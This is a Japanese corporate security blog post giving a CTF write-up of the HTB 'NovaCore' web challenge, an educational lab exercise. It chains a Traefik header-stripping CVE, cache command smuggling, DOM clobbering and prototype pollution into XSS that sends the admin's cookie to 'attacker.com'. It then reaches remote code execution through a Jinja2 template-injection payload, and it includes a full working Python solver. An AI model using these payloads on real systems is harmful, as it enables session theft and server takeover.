NTT Security Japan

お問い合わせ

HTB Business CTF (Global Cyber Skills Benchmark CTF 2025) Writeup web編

テクニカルブログ

HTB Business CTF (Global Cyber Skills Benchmark CTF 2025) Writeup web編
By NTT Security

Published June 3, 2025 |

はじめに

プロフェッショナルサービス部の草柳です。

業務ではRedTeamサービスを担当しており、実際の攻撃手法を用いたセキュリティ体制の評価やTLPT(脅威ベースペネトレーションテスト)をサービスとして提供しています。またサービス高度化のためのリサーチ活動や技術研鑽も積極的に行っています。

先日開催された、Hack The Box Business CTFにOneNTTのメンバーとして参加しました。結果は、796チーム中11位。上位に食い込むことができました。

あと少しでTop10なのが悔しいところではありますが、海外のメンバーとも協力してよい結果を出せたのはうれしく思います。

私は、主にWeb問題とFullpwn問題に取り組み、4つのフラグを取得しました。

  • Volnaya Forums (Web, Easy)
  • Quick Blog (Web, Medium)
  • NovaCore (Web, Hard)
  • Volnaya (Fullpwn, Easy)

今回は、この中で特におもしろかったNovaCore (Web, Hard)の解説をします。

NovaCore (Hard)

AIによる株取引をうたったサイトですが、AIは問題には絡んできませんでした。フラグは、/flag{random}.txtに保存されているので、RCEを目指します。

構成

  • Traefik (ロードバランサー)
  • AetherCache (インメモリデータベース)
  • Flask (Web App)

分析

まずは静的解析をします。気になるところや脆弱性をピックアップして、攻略の方向性を定めていきます。

Traefik v2.10.4(CVE-2024-45410)

TraefikはOSSのロードバランサーで、アプリの負荷分散のために使用されているようです。

調べると、アプリで使用されているバージョンは、CVE-2024-45410が該当することがわかります。この脆弱性は、Hop-by-hopヘッダーの処理ミスに起因して、内部で使われる重要なヘッダーまでも削除してしまうというものです。

Hop-by-hopヘッダーとは、プロキシのある環境での使用を想定されたもので、内部サーバーには送られず、プロキシで処理されるHTTPヘッダーです。ConnectionTransfer-Encodingなどが挙げられます。

Connectionには、そこで指定されたヘッダーをHop-by-hopヘッダーとして扱うようにするという仕様があり、指定のヘッダーをプロキシで捨てさせることができます。Traefik v2.10.4では、本来破棄されるべきでない重要なヘッダー(X-Forwarded-Hostなど)までも消されてしまうため、内部アプリでこれらのヘッダーを処理に使用している場合に、意図せぬ挙動となります。

「Connection: close, X-Forwarded-Host」

AetherCache

取引の情報は、AetherCacheという独自のアプリで保存されています。これは、Redisのようなインメモリデータベースで、C言語で作られています。 getsetlistの3コマンドだけ実装されているシンプルなもので、プログラム自体に脆弱なポイントは見当たりません。

Socket通信で、1023バイトずつbufferに受け取って処理が行われます。

challenge/cache/aetherCache.c

#define BUFFER_SIZE 1024
void *handle_client(void *client_socket_ptr) {
    int client_socket = *(int *)client_socket_ptr;
    free(client_socket_ptr);
    char buffer[BUFFER_SIZE];
    ssize_t read_size;

    while ((read_size = recv(client_socket, buffer, BUFFER_SIZE - 1, 0)) > 0) {
        buffer[read_size] = '\0';
        char command[BUFFER_SIZE];
        char key[BUFFER_SIZE];
        char value[BUFFER_SIZE];

        if (sscanf(buffer, "set %s %s", key, value) == 2) {
            set(key, value);
            send(client_socket, "STORED\r\n", 8, 0);
        } else if (sscanf(buffer, "get %s", key) == 1) {
            char *result = get(key);
            if (result) {
                send(client_socket, result, strlen(result), 0);
                send(client_socket, "\r\n", 2, 0);
            } else {
                send(client_socket, "NOT_FOUND\r\n", 11, 0);
            }
        } else if (strcmp(buffer, "list\n") == 0) {
            print_all_keys(client_socket);
        } else {
            send(client_socket, "ERROR\r\n", 7, 0);
        }
    }

    close(client_socket);
    pretty_print("Client disconnected", 3);
    return NULL;
}

Flask

認証なしでアクセスできる範囲は、ほとんどが静的ページで、攻撃の余地がありません。ログインができれば、ファイルのアップロードやプラグインの実行などができそうです。ただし、ユーザー登録などはできないので、なんとかしてセッションを奪う必要があります。

/
/get-an-account
/about-us
/privacy-policy
/for-developers
/login
/front_end_error/<action>/<log_level> 

/logout (要認証)
/dashboard (要認証)
/live_signals (要認証)
/copy_trade (要認証)
/my_trades (要認証)
/datasets (要認証)
/upload_dataset (要認証)
/plugins (要認証)
/run_plugin (要認証)

/api/
/api/active_signals (APIトークン)
/api/copy_signal_trade (APIトークン)
/api/trades (APIトークン)
/api/edit_trade (APIトークン)

/front_end_errorには2種類のアクションがあって、 newlog_levelをキーにして任意のJSONデータを保管、 viewは、そのデータの取得ができます。

challenge/src/application/blueprints/web.py

@web.route("/front_end_error/<action>/<log_level>", methods=["POST"])
def log_front_end_error(action, log_level):
	error = request.json

	if action == "new":
		if not error or not log_level:
			return jsonify({"message": "Missing user input"}), 401

		FRONT_END_ERRORS[log_level] = error
		return jsonify({"message": "Error logged"}), 200

	elif action == "view":
		if log_level not in FRONT_END_ERRORS:
			return jsonify({"message": "No errors found for the specified log level"}), 404

		return jsonify(FRONT_END_ERRORS[log_level]), 200

	else:
		return jsonify({"message": "Invalid action"}), 400

APIの実行にはAPIトークンが必要になります。ただし、ヘッダーにX-Real-IPが設定されていない場合には、APIトークンのチェックをバイパスできます。これは、プロキシを通らない内部ネットワークでの使用を意図したものでしょう。

def token_required(f):
	@wraps(f)
	def decorated_function(*args, **kwargs):
		client_ip = request.headers.get("X-Real-IP")

		if not client_ip:
			return f(*args, **kwargs)

		token = request.headers.get("Authorization")
		if not token:
			return jsonify({"error": "API token is missing"}), 401

		db_session = Database()
		valid, user = db_session.validate_token(token)
		if not valid:
			return jsonify({"error": "Invalid API token"}), 401

		g.user = user
		return f(*args, **kwargs)
	return decorated_function

/api/edit_tradeでは、任意のtradeデータをキャッシュに登録することができます。

@api.route("/edit_trade", methods=["POST"])
@token_required
def edit_trade():
	if not request.json:
		return jsonify({"error": "No JSON data provided"}), 400

	data = request.json
	trade_id = data.get("trade_id")
	symbol = data.get("symbol")
	action = data.get("action")
	price = data.get("price")

	if not trade_id:
		return jsonify({"error": "Trade ID is required"}), 400

	if not (symbol or action or price):
		return jsonify({"error": "At least one of symbol, action, or price must be provided"}), 400

	cache_session = AetherCacheClient()
	user_id = g.user.id if g.get("user") else "sys_admin"

	trade_key = f"user:{user_id}:trade:{trade_id}"
	trade_data = cache_session.get(trade_key)

	if not trade_data:
		return jsonify({"error": "Trade not found"}), 404

	parsed_trade_data = parse_signal_data(trade_data)

	if symbol:
		parsed_trade_data["symbol"] = symbol
	if action:
		parsed_trade_data["action"] = action
	if price:
		parsed_trade_data["price"] = price

	updated_trade_data = format_signal_data(
		parsed_trade_data["symbol"],
		parsed_trade_data["action"],
		parsed_trade_data["price"]
	)
	cache_session.set(trade_key, updated_trade_data)

	return jsonify({"message": "Trade updated successfully", "trade_id": trade_id})

/my_trades では、自分の取引情報が確認できます。

{{ trade.data.action | safe }} はJinja2のテンプレート文字列です。 safe フィルターがついているので、値はエスケープされません。場合によっては任意のHTMLを埋め込み、XSSによって認証セッションを奪える可能性があります。

challenge/src/application/templates/my_trades.html

<tbody>
  {% for trade in trades %}
    <tr>
      <td>{{ loop.index }}</td>
      <td>{{ trade.data.action | safe }}</td>
      <td>{{ trade.data.price | safe }}</td>
      <td>{{ trade.data.symbol | safe }}</td>
      <td>{{ trade.key }}</td>
    </tr>
  {% endfor %}
</tbody>

/upload_dataset では、データセットをアップロードできます。

アップロードできるファイル形式は、 tar に限られています。ただし、チェックが緩いためバイパスができそうです。

challenge/src/application/blueprints/web.py

if not check_dataset_filename(file.filename) and not is_tar_file(file.filename):
		return render_template(
			"error.html",
			title="Error",
			type="Input1",
			message="File not valid",
			nav_enabled=False,
		), 403

  tmp_file_path = str(uuid.uuid4()) + ".tar"
	upload_path = os.path.join("/tmp", tmp_file_path)
	file.save(upload_path)

	if not is_tar_content(upload_path):
		os.unlink(upload_path)
		return render_template(
			"error.html",
			title="Error",
			type="Input2",
			message="File not valid",
			nav_enabled=False,
		), 403

challenge/src/application/util/general.py

def check_dataset_filename(file_path):
	if re.match(r"^[a-zA-Z0-9./]+$", file_path):
		return True
	else:
		return False
		

def is_tar_file(file_path):
	return file_path.lower().endswith(".tar")
	
def is_tar_content(file_path):
	try:
		result = subprocess.run(
			["exiftool", file_path],
			capture_output=True,
			text=True,
			check=True
		)
		for line in result.stdout.splitlines():
			if "file type" in line.lower():
				return "tar" in line.lower()
		return False
	except subprocess.CalledProcessError:
		return False
	except FileNotFoundError:
		return False
new_upload_path = os.path.join("/app/application/datasets", file.filename)
	os.rename(upload_path, new_upload_path)

/run_plugin では、プラグインフォルダ内の実行ファイルを実行できます。

ただし、ここでは指定のファイルが実行ファイルであることをチェックしています。readelfを使ってチェックしているので、elfのフォーマットにならったファイルでなければいけません。

challenge/src/application/blueprints/web.py

plugin_path = plugin_dir + "/" + plugin
	if not check_plugin_filename(plugin) or not is_exe_file(plugin_path):
		return render_template(
			"error.html",
			title="Error",
			type="Input",
			message="Invalid plugin",
			nav_enabled=False,
		), 403

	plugin_results = run_plugin(plugin_path)

challenge/src/application/util/general.py

def check_plugin_filename(file_path):
	if re.match(r"^[a-zA-Z0-9.]+$", file_path):
		return True
	else:
		return False

def is_exe_file(file_path):
	try:
		result = subprocess.run(
			["readelf", "-h", file_path],
			capture_output=True,
			text=True,
			check=True
		)
		for line in result.stdout.splitlines():
			if "class" in line.lower():
				return "elf" in line.lower()
		return False
	except subprocess.CalledProcessError:
		return False
	except FileNotFoundError:
		return False

戦略

一通りコードを分析したところで、大まかな攻撃の流れを考えます。

1. Traefikの脆弱性を使ってAPIにアクセス

2. APIを使ってtradeにXSSを仕込む

3. 管理者の画面でXSSを発火させ、Cookieを窃取

4. テンプレートファイルを書き換えて、Server-Side Template Injection

5. Server-Side Template Injectionを使ってRCE

攻略手順

1. API Token Check Bypass

Traefikの脆弱性を悪用して、APIトークンのチェックを迂回して、API機能にアクセスします。

X-Real-IP ヘッダーが破棄されるようなリクエストを送ると、APIがちゃんと情報を返してくれました。

GET /api/active_signals HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: keep-alive, X-Real-IP

{"signals":[{"data":{"action":"buy","price":"150.236","symbol":"AAPL"},"key":"2ade5add-75d8-48dc-b022-aeb57ce5f6c2"},{"data":{"action":"sell","price":"2800.12","symbol":"GOOGL"},"key":"96294bb1-4dc5-4389-8bc5-54687a381bb9"},{"data":{"action":"sell","price":"3321.10","symbol":"AMZN"},"key":"8d3d42f3-089d-42b2-89d8-18da8d9f66cd"}]}

2. Cache Smuggling

アクセスできるようになったAPIの機能を利用して、 /my_trades 画面でのXSSを目指します。

/my_trades では、 /api/trades から trades データを取得しています。

challenge/src/application/blueprints/web.py

@web.route("/my_trades", methods=["GET"])
@login_required
def my_trades():
	trade_data = fetch_cache("trades", session["api_token"])
	if "error" in trade_data:
		trade_data = None
	else:
		trade_data = trade_data["trades"]

	return render_template("my_trades.html", title="Live Signals", session_data=session, trades=trade_data)

challenge/src/application/util/general.py

def fetch_cache(endpoint, token):
	endpoint = f"http://127.0.0.1:1337/api/{endpoint}"
	headers = {
		"Authorization": f"{token}",
		"Content-Type": "application/json"
	}
	
	try:
		response = requests.get(endpoint, headers=headers)
		response.raise_for_status()
		return response.json()
	except requests.exceptions.RequestException as e:
		return {"error": str(e)}

/api/tradesでは、AetherCacheから、そのユーザーに紐づいたtradesをキャッシュキーをもとに取得しています。

challenge/src/application/blueprints/api.py

@api.route("/trades", methods=["GET"])
@token_required
def trades():
	cache_session = AetherCacheClient()

	user_id = g.user.id if g.get("user") else "sys_admin"

	trade_keys = cache_session.list_keys()

	trades = []
	for key in trade_keys:
		if key.startswith(f"user:{user_id}:trade:"):
			value = cache_session.get(key)
			if value:
				trades.append({
					"key": key.split(":")[-1],
					"data": parse_signal_data(value)
				})

	return jsonify({"trades": trades})

キャッシュのキーは以下のような形式です。管理者アカウントのIDは1で、ログインしていない場合は、sys_adminが設定されます。

user:{user_id}:trade:{trade_id}

よって、管理者にXSSのペイロードを送り込むには、user_id1に設定したデータを登録する必要があります。そのためには、少しHackしなければなりません。

キャッシュを登録する際に実行されるコマンドは以下のようになります。

set user:sys_admin:trade:d0142c74-d699-49b6-91b5-d21e34941faa symbol|AAA|action|buy|price|100

AetherCacheでは、1023バイトごとに処理が行われるので、1023バイト + 別のコマンドをくっつけて送信すれば、一度のリクエストで2つのコマンドが実行できます。この方法で、/api/edit_tradeで、tradeがオーバーフローするような値を指定すれば、任意のキャッシュを登録させることができそうです。

さあこれを使って、管理者画面にXSSペイロードを送りつけましょう。

3. CSP Bypass

これで管理者の /my_trades画面でXSSができると思いきや、もう少しハードルがありました。

このアプリでは、CSP(Content-Security Policy)が厳しめに設定されていて、自由にスクリプトを実行できないようになっています。HTMLは書き込むことができますが、scriptタグやimgのイベント発火によるXSSなどはできません。

XSSを達成するには、CSPをうまくかいくぐる必要があります。

@web.after_request
def apply_csp(response):
	response.headers["Content-Security-Policy"] = f"default-src 'self'; script-src 'self' 'nonce-{g.nonce}' 'unsafe-eval'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; media-src 'self'; object-src 'self'"
	return response

ここで、唯一XSSの足掛かりになりそうなのが、unsafe-evalです。 evalが使われているところにどうにか割り込みできれば、JavaScriptの実行につなげられます。その視点で探してみると、いくつかevalが使用されているところを発見しました。しかし、通常の処理ではここにたどり着けません。

window.onload = () => {
    const merge = (target, source) => {
        for (let attr in source) {
            if (
                typeof target[attr] === "object" &&
                typeof source[attr] === "object"
            ) {
                merge(target[attr], source[attr]);
            } else {
                target[attr] = source[attr];
            }
        }
        return target;
    };

    const startTime = new Date();

    try {
        if (document.getElementById("DEMO_VERSION") == 1) {
            alert(
                "Warning: this is a demo version, contact us for full version",
            );
        } else {
            null;
        }
    } catch (error) {
        if (window.UI_DEV_MODE) {
            const logData = {
                config: window.currentConfig || {},
                userAgent: navigator.userAgent,
            };

            fetch(
                `/front_end_error/new/${LOG_LEVEL?.attributes?.int?.nodeValue || "default"}`,
                {
                    method: "POST",
                    headers: {
                        "Content-Type": "application/json",
                    },
                    body: JSON.stringify(logData),
                },
            )
                .then((r) => r.text())
                .then((data) => {
                    data = JSON.parse(data);
                    data = merge(logData, data);

                    const configKeysLength = logData.config.length;
                    const evaluatedConfigSize = eval(
                        `${configKeysLength} > 5 ? 'Large Configuration' : 'Small Configuration'`,
                    );

                    const endTime = new Date();
                    const timeElapsed = eval(
                        `(${endTime.getTime()} - ${startTime.getTime()}) / 1000`,
                    );
                    const timeSeconds = eval(`${timeElapsed} / 60`);

                    const element = document.createElement("div");
                    element.innerHTML = [
                        "start: " + startTime,
                        "end: " + endTime,
                        "timeElapsed: " + timeElapsed,
                        "timeSeconds: " + timeSeconds,
                        "Evaluated Config Size: " + evaluatedConfigSize,
                    ].toString();

                    document.body.appendChild(element);
                });
        } else {
            alert(error);
        }
    }

    setTimeout(() => {
        document.getElementById("loadingSection").classList.add("hide");
    }, 3000);

    const menuToggle = document.getElementById("menu-toggle");
    const wrapper = document.getElementById("wrapper");
    if (document.body.contains(menuToggle) && document.body.contains(wrapper)) {
        menuToggle.addEventListener("click", () => {
            wrapper.classList.toggle("toggled");
        });
    }
}

そこで、HTML Injectionを活用して、DOM Clobberingで処理の制御を奪っていきます。

さっそくですが、evalの実行箇所に到達するには、ここでcatchのほうに入っていかないといけません。このコードで例外を起こすには、getElementByIdalertをぶち壊すしかなさそうです。

 try {
        if (document.getElementById("DEMO_VERSION") == 1) {
            alert(
                "Warning: this is a demo version, contact us for full version",
            );
        } else {
            null;
        }
    } catch (error) {

DOM Clobbering Wikiを参照すると、次のようなHTMLでdocumentのgetElementByIdを置き換えられることがわかります。

<form/id="hack"><img/name="getElementById"></form>

/ は、空白をいれないためのテクニックです。空白が入ると、Cache Smugglingのペイロードが壊れてしまうため必要です。

続いてはこちらです。

if (window.UI_DEV_MODE) {

これは簡単で、UI_DEV_MODEというIDの要素を作ればOKです。

<div/id="UI_DEV_MODE"></div>

さてここからが本題です。最終的に、logData.config.lengthに好きな値を入れられれば、我々の勝利です。これは、CSPの条件もあって、DOM Clobberingだけでは達成できないので、もう一工夫必要です。

const logData = {
                config: window.currentConfig || {},
                userAgent: navigator.userAgent,
            };

            fetch(
                `/front_end_error/new/${LOG_LEVEL?.attributes?.int?.nodeValue || "default"}`,
                {
                    method: "POST",
                    headers: {
                        "Content-Type": "application/json",
                    },
                    body: JSON.stringify(logData),
                },
            )
                .then((r) => r.text())
                .then((data) => {
                    data = JSON.parse(data);
                    data = merge(logData, data);

                    const configKeysLength = logData.config.length;
                    const evaluatedConfigSize = eval(
                        `${configKeysLength} > 5 ? 'Large Configuration' : 'Small Configuration'`,
                    );

data = merge(logData, data); で、fetchで受け取ったデータと logDataをマージしているところが気になります。 merge関数を確認してみると、いかにもPrototype Pollutionしてほしそうな面構えの再帰マージになっています。これを使って、 lengthプロパティを汚染してやりましょう。

 const merge = (target, source) => {
        for (let attr in source) {
            if (
                typeof target[attr] === "object" &&
                typeof source[attr] === "object"
            ) {
                merge(target[attr], source[attr]);
            } else {
                target[attr] = source[attr];
            }
        }
        return target;
    };

そのためには、dataをコントロールしたいところです。 /front_end_error/new/defaultからは、 {"message": "Error logged"} しか返ってこないので、マージしてもあまり意味がありません。

ここで、またDOM Clobberingを使って、Path Traversalを行います。

自分で/front_end_error/new/hackに好きな値を登録しておいて、LOG_LEVEL?.attributes?.int?.nodeValueをDOM Clobberingで書き換えれば、 /front_end_error/view/hackから好きなデータを渡せそうです。

<div/id="LOG_LEVEL"int="../view/hack">

これで必要なパーツはそろいました。あとは組み合わせるだけです。

まずは、/front_end_error/view/hack でXSSのペイロードを返せるように登録します。Cookieには HttpOnly 属性がついていないのでJavaScriptで普通に取り出すことができます。 fetchで外部サーバーに送るのは、CSPにより制限されているので、Top-Level Navigationで画面遷移させることにします。

exploit.py

xss_payload = f"location.href = 'https://attacker.com/?' + document.cookie;//"
    data = {
        "__proto__": {
            "length": xss_payload
        }
    }
    r = requests.post(f"{args.rhost}/front_end_error/new/hack", json=data)

最終的に埋め込むHTMLは次のようになります。

<form/id="hack">
  <img/name="getElementById">
</form>
<div/id="UI_DEV_MODE"></div>
<div/id="LOG_LEVEL"int="../view/hack"></div>

そして、これを埋め込むために実行したいDBコマンドはこれです。

set user:1:trade:hack symbol|AAA|action|buy|price|<form/id="hack"><img/name="getElementById"></form><div/id="UI_DEV_MODE"></div><div/id="LOG_LEVEL"int="../view/hack"></div>

さらに、オーバーフローさせるため、tradepriceに次のような値を設定します。Aの数は、いい感じに調整する必要ありです。

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAset user:1:trade:hack symbol|AAA|action|buy|price|<form/id="hack"><img/name="getElementById"></form><div/id="UI_DEV_MODE"></div><div/id="LOG_LEVEL"int="../view/hack"></div>

これを送り込んでしばらくすると、管理者ボットが画面にアクセスしてきて、Cookieが手に入ります。

DOM ClobberingやPath Traversal、Prototype Pollutionを組み合わせることで、単なるHTML InjectionをXSSにつなげることができました。

Jinja2 Server-Side Template Injection

これで、管理画面にアクセスできるようになりました。ここからは、RCEを目指します。

分析でわかったとおり、 tarファイルをアップロードするエンドポイントから、elfファイルをプラグインフォルダにアップロードできれば、そのまま実行できそうです。ただし、そのためにはtarファイルともelfファイルともとれるPolyglotを作らなければいけません。バイナリをいい感じにパッチして、チェックを迂回する必要があります。

想定解では、 まさにこれをやってのけています。tarelfのファイル構造を理解して、バイナリレベルでパッチしなければできない高度なものです。

これはなかなか難しいと考えて、別の方法を探していたところ、tarファイルのチェックを迂回して、任意のテキスト系ファイルを書き込めることに気づきました。

ファイルがアップロードできる条件を整理すると、以下の通りです。

  • ファイル名が^[a-zA-Z0-9./]+$にマッチするか、または.tarで終わる
  • exiftoolで、file typeと同じ行にtarという文字が含まれる

いろいろ試してみると、exiftool は、ファイルの先頭に #!/bin/tar と入っているときに、 File Type: tar script と判定することがわかりました。これで、少なくともtarファイルのチェックはバイパスして、任意のテキスト系ファイルは書き込めそうです。

このアプリでは、テンプレートエンジンにJinja2を使用しているので、テンプレートファイルを書き換えてしまえば、Server-Side Template Injectionができます。例えば、次のようなテンプレートファイルを書き込むと、#!/bin/tar 16と画面に表示されます。

#!/bin/tar
{{ 4*4 }}

OSコマンドを実行して、フラグを読み出すには、../templates/index.htmlを次のように書き換えます。

#!/bin/tar
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag*').read() }}

その後、 / にアクセスするとフラグが表示されます。

Solver

import requests
import argparse
from requests.cookies import RequestsCookieJar
from urllib.parse import urlparse
import io

LHOST = "https://YOUR-SERVER"

def api_request(method, url, data={}):
    '''
    traefik CVE-2024-45410, API Token check bypass
    '''
    headers = {
        "Content-Type": "application/json",
        "Connection": "keep-alive, X-Real-IP"
    }

    if method == "GET":
        r = requests.get(url, params=data, headers=headers)
    elif method == "POST":
        r = requests.post(url, json=data, headers=headers)
    return r

def main():
    parser = argparse.ArgumentParser("exploit")
    parser.add_argument("rhost")

    args = parser.parse_args()

    print("[i] Copying a trade")
    r = api_request("GET", f"{args.rhost}/api/active_signals")
    target_signal = r.json()["signals"][0]
    data = {
        "signal_id": target_signal["key"]
    }
    r = api_request("POST", f"{args.rhost}/api/copy_signal_trade", data=data)
    trade_id = r.json()["trade_id"]
    print(f"[+] Trade copied: {trade_id}")
    print(f"[i] Setting up Prototype Pollution payload")
    # Client-Side Path Traversal will be performed later to get /front_end_error/view/hack
    # Here is the preparation for Prototype Pollution
    xss_payload = f"location.href = '{LHOST}/?' + document.cookie;//"
    data = {
        "__proto__": {
            "length": xss_payload
        }
    }
    r = requests.post(f"{args.rhost}/front_end_error/new/hack", json=data)
    print("[i] Editing the trade to implant XSS payload")
    # to inject trade for admin user, we need to perform Cache Smuggling
    # the cache query is executed for each 1023 byte
    sample_query = "set user:sys_admin:trade:d0142c74-d699-49b6-91b5-d21e34941faa symbol|AAA|action|buy|price|"
    # <form/id=\"hack\"><img/name=\"getElementById\"></form> overwrite document.getElementById to throw an error
    # <div/id=\"UI_DEV_MODE\"></div> define UI_DEV_MODE
    # <div/id=\"LOG_LEVEL\"int=\"../view/hack\"> // set LOG_LEVEL properly to perform Client-Side Path Traversal. /front_end_error/view/hack will return Prototype Pollution payload
    payload = "<form/id=\"hack\"><img/name=\"getElementById\"></form><div/id=\"UI_DEV_MODE\"></div><div/id=\"LOG_LEVEL\"int=\"../view/hack\"></div>"
    buf_len = 1022 - len(sample_query)
    price = "A" * buf_len + f"set user:1:trade:hack symbol|AAA|action|buy|price|{payload}" 
    
    data = {
        "trade_id": trade_id,
        "price": price
    }
    r = api_request("POST", f"{args.rhost}/api/edit_trade", data=data)
    print(r.json())
    print("[+] Wait for admin...")
    admin_session = input("admin session> ")
    # update session cookie
    s = requests.Session()
    jar = RequestsCookieJar()
    parsed_url = urlparse(args.rhost)
    domain = parsed_url.hostname
    jar.set('session', admin_session, domain=domain, path='/')
    s.cookies.update(jar)

    print("[i] Uploading SSTI payload")
    # the payload have to meet following conditions
    # - name should pass regex check ^[a-zA-Z0-9./]+$, or end with '.tar'
    # - exiftool should return "file type" and "tar" in one line

    # #!/bin/tar will let exiftool misinterpret the file type as "tar script"
    payload = b"#!/bin/tar\n{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag*').read() }}\n"
    file_data = io.BytesIO(payload)
    # perform path traversal to overwrite template file
    files = {'dataset_file': ("../templates/index.html", file_data)}
    r = s.post(f"{args.rhost}/upload_dataset", files=files)
    print("[+] Template file uploaded")

    r = s.get(f"{args.rhost}/")
    print(r.text)
    


if __name__ == "__main__":
    main()

おわりに

NovaCoreは、XSSまでの道のりで複数の脆弱性をうまく組み合わせる必要があり、かなり苦戦しました。またRCEも、抜け道を使ってなんとか達成できましたが、想定解のとおり、tarelfのPolyglotを作っての攻略は自分ひとりでは難しかったでしょう。バイナリの理解は自分の課題です。幸い、バイナリが得意な人が周りにたくさんいるので、勉強させてもらおうと思います。

Hack The Box Business CTFでは、定番のWebやPwnなどに限らず、ForensicやAIなどの変わり種も含めた広い分野の問題が用意されています。難易度も易しいものからチャレンジングなものまであり、様々な分野で活躍するチームメンバーの協力なしには難しい大会でした。海外のメンバーともあれやこれやと議論しながら問題に取り組み、正解にたどり着いたときの喜びはひとしおでした。

個人的には、業務に役立てられるような発見もあり、とても有意義な大会だったと感じます。反省点も踏まえて、より高度なRedTeamサービスを提供できるようさらに技術を磨いていきたいと思います。

来年こそはTop10へ!

関連記事 / おすすめ記事

Inquiry

お問い合わせ

お客様の業務課題に応じて、さまざまなソリューションの中から最適な組み合わせで、ご提案します。
お困りのことがございましたらお気軽にお問い合わせください。